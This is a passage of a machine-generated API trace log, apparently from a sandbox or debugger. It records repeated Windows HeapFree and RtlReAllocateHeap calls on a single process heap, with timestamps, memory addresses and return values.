HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.297] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.297] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.297] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.297] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.297] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.297] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.297] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.298] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.298] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.298] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.336] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.367] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.367] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.371] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.375] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.376] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.378] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.379] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.379] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.380] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.380] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.381] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.382] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.382] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.383] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.383] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.384] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.384] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.385] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0133.385] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.388] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.391] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.394] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.397] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.404] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.419] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.424] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.428] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.431] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.713] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.718] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x4fec020, Size=0x100000) returned 0x51a8020 [0133.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.741] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.745] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.745] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0133.748] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0133.754] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0133.919] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0133.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0133.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0133.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0133.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0133.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0133.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a3098 | out: hHeap=0x510000) returned 1 [0133.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0133.929] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0133.934] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0133.935] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0133.936] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44b30a0 | out: hHeap=0x510000) returned 1 [0133.936] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44b30a0 | out: hHeap=0x510000) returned 1 [0133.936] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44b30a0 | out: hHeap=0x510000) returned 1 [0133.936] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a3098 | out: hHeap=0x510000) returned 1 [0133.937] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44b30a0 | out: hHeap=0x510000) returned 1 [0133.937] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a3098 | out: hHeap=0x510000) returned 1 [0133.937] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0133.939] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a3098 | out: hHeap=0x510000) returned 1 [0133.939] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a3098 | out: hHeap=0x510000) returned 1 [0133.941] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a3098 | out: hHeap=0x510000) returned 1 [0133.942] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0133.945] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0133.950] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44b30a0 | out: hHeap=0x510000) returned 1 [0133.951] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44b30a0 | out: hHeap=0x510000) returned 1 [0133.951] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a3098 | out: hHeap=0x510000) returned 1 [0133.951] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0133.959] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0133.959] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.146] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0134.146] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448cf98 | out: hHeap=0x510000) returned 1 [0134.146] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.154] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.210] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.225] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.226] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.227] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.228] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.229] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.232] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.233] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.234] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.235] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.236] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.237] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.238] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.238] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.239] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.240] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.242] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.243] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.244] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.245] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.246] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.255] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.256] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.257] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.257] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.258] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.259] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.260] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.261] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.261] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.262] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.263] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.271] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.274] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.274] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.275] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.275] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.275] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.276] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.276] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.277] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.277] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.278] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.279] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.283] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.285] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.285] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.360] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0134.363] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0134.366] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0134.743] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0134.743] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0134.744] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0134.744] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0134.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0134.769] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0134.770] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0134.771] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0134.772] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0135.386] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0135.386] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0135.387] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0135.387] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0135.389] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0135.391] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0135.391] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0135.393] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0135.394] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0135.394] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0135.395] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0135.591] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0135.591] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0135.591] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0135.592] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0135.592] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0135.593] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0135.593] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0135.602] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0135.602] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0135.602] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0135.602] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0135.605] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0135.605] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0135.609] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0135.609] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0135.619] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0135.620] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0135.622] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0135.624] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0135.624] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0135.627] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0135.628] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0135.629] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0135.630] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0135.839] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.146] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.146] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.148] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.149] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.151] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0136.151] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0136.151] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0136.151] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.152] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.152] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0136.153] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.153] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.155] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.156] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.156] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0136.156] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.156] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.157] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.157] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.435] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.436] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.436] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.436] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.436] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.436] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.437] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.437] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.437] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.437] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.437] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.438] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.439] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.441] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.442] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.443] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.445] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.445] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.446] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.448] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.449] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.450] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.451] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.452] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.452] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.455] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.457] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.457] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.460] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.460] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.462] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.464] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: 